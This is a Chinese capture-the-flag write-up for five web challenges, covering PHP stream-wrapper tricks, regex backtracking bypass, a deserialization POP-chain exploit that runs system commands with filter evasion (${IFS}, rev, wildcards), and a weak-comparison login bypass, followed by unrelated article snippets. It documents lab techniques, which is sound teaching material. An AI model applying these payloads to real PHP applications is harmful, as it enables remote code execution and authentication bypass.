第三届 SWCTF-Web 部分 WP

写在前面

题目主要涉及的是前端 php 内容知识,仅以本篇博客记录自己 Web 出题的奇思妙想。

Copyright © [2024] [Myon⁶]. All rights reserved.

目录

1、HTTP

2、再见了晚星

3、myon123_easy_php

4、baby_P0P

5、LOGIN!!!


1、HTTP

ab0b91af726e4937af37b18660339425.png

首页文件默认就是 index 这种,比如 index.php、index.html

这里题目页面在 index.html,但是查看源码并没有发现什么

尝试访问 index.php,发现被重定向到了 index.html

使用 bp 抓包重发

回显 flag:flag{Y0u_ar2_RiGHT_careful_br0}

670c12447ab9424bb305112f32db552a.png

2、再见了晚星

payload:

get 传入数组绕过,参数名则是使用 . 绕过

?M.Y[]=1

post 传入 

M=1&Y=一百万个字符+swctfmyonsnert

利用回溯绕过 

018013846c004c498c8a2557ffd2cf4a.png

拿到 flag{ThInk_cOnstantly_0f_There_w1ll_be_n0_echO}

3、myon123_easy_php

第一个使用 php://input 写入对应数据(hello Myon!)

96a39f13259645b5a1a1dde406c2b0f1.png

使用 php://filter 读取到 myon.php 的源码

?myon1=php://input&myon2=php://filter/read=convert.base64-encode/resource=myon.php&myon3=1

post 还是写入 hello Myon! 

90e6415762d1418f8a86903674825879.png

反序列化利用

422df5638b2e4b03a5f06309fb49ac2f.png

构造最终 payload:

?myon1=php://input&myon2=myon.php&myon3=O:4:"Myon":1:{s:4:"myon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

post 还是写入 hello Myon!

4ce7df1d31104dce8c8d59e2b993e193.png

解码得 flag

8d1382dbef1c448b803690711ead3bbe.png

flag{BreAk_tHe_c1rcLe_anD_StAnd!}

4、baby_P0P

d37f2021c5e64ed19ac55bc93c94fbff.png

php 反序列化 pop 链构造勇师傅寒假培训讲过了

这里前端源码就是一个很典型的简单的 pop 链构造:

$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;

这里主要是对 preg_match 的绕过,过滤掉了一些命令和关键字

我们先尝试执行 ls 命令

注意 payload 需要进行base64编码输出,因为源码存在 base64_decode

exp:

<?php
class apache{public $lin;public function __toString(){$this->lin->check();return '';}
}
class tomcat{public $drew;public function __get($name) {($this->drew)();}
}
class nginx{private $pay='system';private $par='ls';public function check() {if (!preg_match("/(cat|tac|flag)|\/[^\/]*\/|\s+|(\.\.\/)/i", $this->par)) {($this->pay)($this->par);} else {die("勇师傅察觉到你的参数不对劲");}}
}
class eva1{public $old;public $new;public function __wakeup() {$this->old->new;}
}
class iis {public $kha="hello myon!";public function __invoke(){ucwords($this->kha);}
}$n = new nginx();
$a = new apache();
$a->lin=$n;
$i =new iis();
$i->kha=$a;
$t = new tomcat();
$t->drew=$i;
$e = new eva1();
$e->old=$t;
echo base64_encode((serialize($e)));

79123f2542b347b1b478f2e7209d7c39.png

构造 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjI6ImxzIjt9fX19czozOiJuZXciO047fQ

回显成功 

faea868079104f63867a43b4e9f37010.png

我们可以在根目录下发现 flag 文件夹和 secret 文件夹,里面还包含了一层文件夹,但是这里过滤掉了连续的/,也就是说我们不能对两层目录直接操作,我们想要读取里面的文件,可以使用分号绕过,先 cd 到某个文件夹下再执行其他命令。

cat 和 tac 被过滤,可以使用 rev 命令反向输出;

空格被过滤,使用 ${IFS} 替换;

flag 被过滤,使用 * 通配符。

因此: 

$par='cd${IFS}/f*;cd${IFS}fllllag;rev${IFS}f*'

生成 payload:

?snert=Tzo0OiJldmExIjoyOntzOjM6Im9sZCI7Tzo2OiJ0b21jYXQiOjE6e3M6NDoiZHJldyI7TzozOiJpaXMiOjE6e3M6Mzoia2hhIjtPOjY6ImFwYWNoZSI6MTp7czozOiJsaW4iO086NToibmdpbngiOjI6e3M6MTA6IgBuZ2lueABwYXkiO3M6Njoic3lzdGVtIjtzOjEwOiIAbmdpbngAcGFyIjtzOjM5OiJjZCR7SUZTfS9mKjtjZCR7SUZTfWZsbGxsYWc7cmV2JHtJRlN9ZioiO319fX1zOjM6Im5ldyI7Tjt9

e59737cf0de94aabb8ea6d4021bf1dc7.png

得到:

==AAAAAAAUHAAAgWAEAABAAAAAgBFsEUBoNi1G8KttUAajozsLeOWHg2I6Mh+/WdAgBABAAAAAAAgAgCwhGcucWYsZGAAAAAAAAAgAAAAAAAAAAJAgAAAAARAAAAPdzw0aPWHyYEAgAAJAAFAQhABsEUFV/3VZ6r7RhNVKVa4oqST6MSA8SkMKYObJLfnrw+DF7OqTfTdCY0Kbc6nx5x/papgYPF3IVcCn2eVZi8gPUM5sEoM0Pw79RSiDDVfCUdyBHaw5yZhxmZAAAAIAAAAQEAAAwT3MMt2j1hMGBAIAQCAQBBDsEU

先取反向,再解 base64 

PK 头,很明显的压缩包文件

27a5f1307c7047a392074ac13b46b8f0.png

之后以同样的方法先确定到密码文件的位置,再读取 secret 文件夹下的密码

$par='cd${IFS}/secret;cd${IFS}p*;rev${IFS}p*'

b7aa6ecd269c438892d85bd9c792ea61.png

密码同样需要取反

you_are_also_good_at_misc

使用密码打开压缩包,即可得到 flag 

b77b741706854bb289165719b8323b30.pngflag{msP6ZuMXpi9InmmrzHN0GpLG6UPnfveBhscnSNJn}

5、LOGIN!!!

基础知识问答,只有 278 是对的

aa557858d5dd4c44a1cc715805c9d3d9.png

全部回答正确,回显了两个路径: ll0g1n.html 和 eeev01.php

afd270a107054e6b95eef2bd40a47071.png

访问 ll0g1n.html,是一个登录框

直接试是不行的,这道题需要先拿到源码才行

4f46ccdbe97644a8a0fba320584a152a.png

但是这里 F12 可以发现另一个路径:he111p.php

d43c009a9cbc454dbf5f2be0fe86c812.png

访问 eeev01.php

这里可以读取变量,我们直接读全局变量 GLOBALS,它是一个包含了全部变量的全局组合数组

构造 payload:

?hack=GLOBALS

42d558b44796405fa4f8261377bb7043.png

得到信息:

const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33)

访问  he111p.php

需要输入 key,但是 key 目前我们还不知道

源码注释里有给 key 是怎么来的:

key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28)

这个是 js 代码 

425823168d4d4c61a584fe6dbfb8f3fa.png

我们已经有了 myon3,接下来继续找 myon1 和 myon2

这里存在 robots.txt

得到:

username:tooreval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 3 = "1"2 4 = "0"',62,5,'Coding_is_Fun|I_Love_JavaScript|const|myon1|myon2'.split('|'),0,{}))

登录界面用户名是 toor,第二行是 js 压缩加密 

f69489c34bfd48f8a23059c52a072583.png

找个在线网站解密

得到:

const myon1 = "I_Love_JavaScript"
const myon2 = "Coding_is_Fun"

10a46a88451b4bfc99f91e3864ca924e.png

将代码整合起来,运行 js 代码输出 key:

const myon1 = "I_Love_JavaScript";
const myon2 = "Coding_is_Fun";
const myon3 = String.fromCharCode(64,104,65,118,101,95,102,85,110,95,119,49,84,104,95,74,97,118,97,83,99,114,105,112,116,33);
key = myon3 + (((myon1.toUpperCase()).substring(2, 6) + myon2.substring(7, 11)).toLowerCase()).substring(0, 28);
console.log(key);

bfaa8a43bbf64f71a0175c7a5a8eab86.png

 得到:

@hAve_fUn_w1Th_JavaScript!loveis_f

回到输入 key 的页面 he111p.php,输入上面的 key

得到一个交换文件的路径,我们直接访问下载

7666e37aa9054a2abbb627c698fc06b2.png

直接看的话不太清晰,我们需要先修复

简单说一下,这种 .swp 文件是在 vim 编辑文件时,文件未正常关闭,就会生成这种交换文件

9850f50d833247fab6c940bb8761eb84.png

使用 vim 命令修复

vim -r @l0g1n_s0urce.swp

e5fa6d5d3487479598e4bed3ed7c1c12.png

回车,得到原文件

这个也就是那个登录框的源码(输出的 flag 我用XXX代替了)

d05d2b72ad624f43a95017e6cb673e63.png

wq 保存退出,得到 @l0g1n_s0urce.php 文件

代码审计:

e35f3c036fb34eff9e401c5cdcf39d1c.png这里的用户名就是 toor,密码是随机生成的 10 位数字,但是这里使用了弱等于,因此可以采用   php 弱类型比较绕过,true == 任何的非0随机数字:返回 true;

这里还有一个条件,user-agent 需要强等于指定的值:

MYON/2.0 (Windows NT 10.0; Win64; x64

使用 bp 抓包重发:

POST /login.php HTTP/1.1
Host: snert.com.cn:20009
Content-Length: 82
User-Agent:MYON/2.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Origin: http://snert.com.cn:20009
Referer: http://snert.com.cn:20009/ll0g1n.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=f4d46b5b-ac18-4155-a518-81d74da32dcf
Connection: close{"username":"toor","password":[true,true,true,true,true,true,true,true,true,true]}

8ed61603baf54c1697cec6ed2e9ccc73.png

多发几次,只要这 10 位随机数密码里面没有出现 0 ,就可以成功

0b0fe9d5b58444e1b7c20cde10f2f560.png

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoie215b242X2Jsb2dfY3Nkbl9uZXR9In0.AnXhydUNXKadN - Gr - knp6TXhHhrZhnIh035KXjihzeA

很明显的 JWT 格式,直接解码

1e4c113ff24a42a58ce729b6340f0075.png

得到 flag:flag{myon6_blog_csdn_net}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/1667.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《大话西游2》本人收集的十二个单机版游戏,有详细的视频架设教程,云盘下载

《大话西游2》是一款经典的大型多人在线角色扮演游戏&#xff0c;也是一款国风经典的游戏。 有能力的可以架设个外网&#xff0c;让大家一起玩。 《大话西游2》本人收集的十二个单机版游戏&#xff0c;有详细的视频架设教程&#xff0c;值得收藏 下载地址&#xff1a; 链接&…

半导体制造工艺之分类浅述

半导体制造工艺分为逻辑制程(也叫逻辑工艺)和特殊制程(也叫特色工艺)。 1、逻辑工艺概述 随着集成电路行业沿着摩尔定律不断发展,晶体管数量增加的同时,工艺节点不断缩小。先进逻辑工艺是相对的概念,2005年全球先进逻辑工艺的工艺节点在65/55纳米,现在则变为3纳米。中…

人人可拥有刘强东同款数字人分身!

每个人都可以拥有东哥同款数字人分身直播间进行直播带货&#xff0c;怎样克隆自己的数字人形象&#xff1f; 青否数字人克隆源码的克隆效果媲美真人&#xff1a; 仅需将真人录制的2-6分钟视频上传至克隆端后台&#xff0c;系统便会自动启动自动克隆。3-5小时后&#xff0c;即可…

学习微服务nacos遇到的问题

在学习微服务注册到nacos的时候&#xff0c;所有过程都正确了&#xff0c;注册也成功了&#xff0c;但是访问不了调用的地址报错出现问题。 一、引入依赖 在cloud-demo父工程的pom文件中的<dependencyManagement>中引入SpringCloudAlibaba的依赖 1、springboot <pa…

森林消防装备:高压消防接力水泵/恒峰智慧科技

在广袤无垠的森林中&#xff0c;每一份绿色都是大自然赋予我们的宝贵财富。然而&#xff0c;这些美丽的绿色也可能因为一场突如其来的火灾而被瞬间吞噬。为了保护这片生命的绿洲&#xff0c;我们需要一种高效、可靠的消防装备——高压消防接力水泵。 这款森林消防装备采用本田汽…

常规文件怎么做成二维码?扫描二维码就能在线看文件

现在可以将文件做成活码二维码之后&#xff0c;通过扫描二维码的方式来查看文件内容&#xff0c;部分二维码也可以扫码下载文件&#xff0c;从而实现文件在其他人之间的快速传播。 文件二维码的制作原理是将文件上传到云端之后&#xff0c;生成单独的链接转换成二维码&#xf…

皮带跑偏AI巡检系统 砂石、煤矿、物流场景下的皮带跑偏自动检测

在工业生产中&#xff0c;皮带传动系统被广泛应用于输送、运输和生产线等领域。然而&#xff0c;皮带跑偏是一个普遍存在且隐患严重的问题。一旦皮带跑偏&#xff0c;不仅会造成设备损坏、生产中断&#xff0c;还可能引发严重的安全事故&#xff0c;甚至导致人员伤亡。目前常见…

vue3项目使用<img :src=““ />动态加载图片

分享一下使用<img :src"" />动态加载图片时遇到的问题以及解决方法。 下面是部分页面代码&#xff0c;这里我使用了<img :src"itemc.headUrl" />来动态加载图片 这时遇到了问题&#xff0c;因为这里的itemc.headUrl是图片的相对路径&#xff…

P450焕新而来,室内外两用+路径规划+YOLO点击跟踪,算力高达100TOPS

Prometheus 450&#xff08;简称P450&#xff09;是一款室内室外两用的中型轴距&#xff08;410mm&#xff09;无人机&#xff0c;基于F450基础飞行平台&#xff0c;搭载感知传感器二维平面激光雷达&#xff0c;双目深度相机等&#xff0c;配合软件Prometheus自主无人机系统和S…

Java学习笔记29(泛型)

1.泛型 ArrayList<Dog> arrayList new ArrayList<Dog>(); //1.当我们ArrayList<Dog>表示存放到ArrayList集合中的元素是Dog类 //2.如果编译器发现添加的类型&#xff0c;不满足要求&#xff0c;就会报错 //3.在便利的时候&#xff0c;可以直接取出Dog类型而…

论文笔记:Does Writing with Language Models Reduce Content Diversity?

iclr 2024 reviewer评分 566 1 intro 大模型正在迅速改变人们创造内容的方式 虽然基于LLM的写作助手有可能提高写作质量并增加作者的生产力&#xff0c;但它们也引入了算法单一文化——>论文旨在评估与LLM一起写作是否无意中降低了内容的多样性论文设计了一个控制实验&…

空间数据索引的利器:R-Tree原理与实现深度解析

空间数据索引的利器&#xff1a;R-Tree原理与实现深度解析 R-Tree的原理插入操作分裂操作查询操作 R-Tree的伪代码R-Tree的C语言实现讨论结论 R-Tree是一种平衡树&#xff0c;用于空间数据索引&#xff0c;特别是在二维或更高维度的几何对象存储和检索中。它由Antony Guttman和…

关系抽取与属性补全

文章目录 实体关系抽取的任务定义机器学习框架属性补全 实体关系抽取的任务定义 从文本中抽取出两个或者多个实体之间的语义关系&#xff1b;从文本获取知识图谱三元组的主要技术手段&#xff0c;通常被用于知识图谱的补全。美丽的西湖坐落于浙江省的省会城市杭州的西南面。&am…

(C语言入门)数组

目录 什么是数组&#xff1f; 数组&#xff1a; 数组的使用&#xff1a; 数组的初始化&#xff1a; 数组名&#xff1a; 数组案例&#xff1a; 一维数组的最大值&#xff1a; 一维数组的逆置&#xff1a; 数组和指针&#xff1a; 通过指针操作数组元素&#xff1a; …

亚马逊、Lazada、速卖通怎么提高复购率?如何利用自养号测评实现销量飙升

对于跨境卖家来说&#xff0c;抓住客户是最重要的&#xff0c;很多卖家都把大部分心思放在如何吸引新客户上&#xff0c;忽视了已有客户的维护。其实相较于投广告、报秒杀活动吸引新客户&#xff0c;维护好已有客户&#xff0c;提升复购率的成本更低。当然&#xff0c;维护好客…

使用matlab/C语言/verilog分别生成coe文件

之前已经写过一个如何使用matlab生成coe文件&#xff0c;matlab自行运算生成三角波、正弦波等数据&#xff0c;并保存为COE文件。可跳转下面的网址进行查阅。 使用matlab生成正弦波、三角波、方波的COE文件_三角波文件.coe-CSDN博客https://blog.csdn.net/yindq1220/article/d…

C++ | Leetcode C++题解之第32题最长有效括号

题目&#xff1a; 题解&#xff1a; class Solution { public:int longestValidParentheses(string s) {int left 0, right 0, maxlength 0;for (int i 0; i < s.length(); i) {if (s[i] () {left;} else {right;}if (left right) {maxlength max(maxlength, 2 * ri…

Python从0到100(十五):函数的高级应用

前言&#xff1a; 零基础学Python&#xff1a;Python从0到100最新最全教程。 想做这件事情很久了&#xff0c;这次我更新了自己所写过的所有博客&#xff0c;汇集成了Python从0到100&#xff0c;共一百节课&#xff0c;帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

高通将支持 Meta Llama 3 在骁龙终端运行;特斯拉中国全系车型降价 1.4 万元丨 RTE 开发者日报 Vol.189

开发者朋友们大家好&#xff1a; 这里是「RTE 开发者日报」&#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE&#xff08;Real Time Engagement&#xff09; 领域内「有话题的新闻」、「有态度的观点」、「有意思的数据」、「有思考的文章」、「有…

第52篇:算法的硬件实现<三>

Q&#xff1a;本期我们介绍二进制搜索算法电路&#xff0c;用于查找某个数据在数组中的位置。 A&#xff1a;基本原理&#xff1a;从数组的中间元素开始&#xff0c;如果给定值和中间元素的关键字相等&#xff0c;则查找成功&#xff1b;如果给定值大于或者小于中间元素的关键…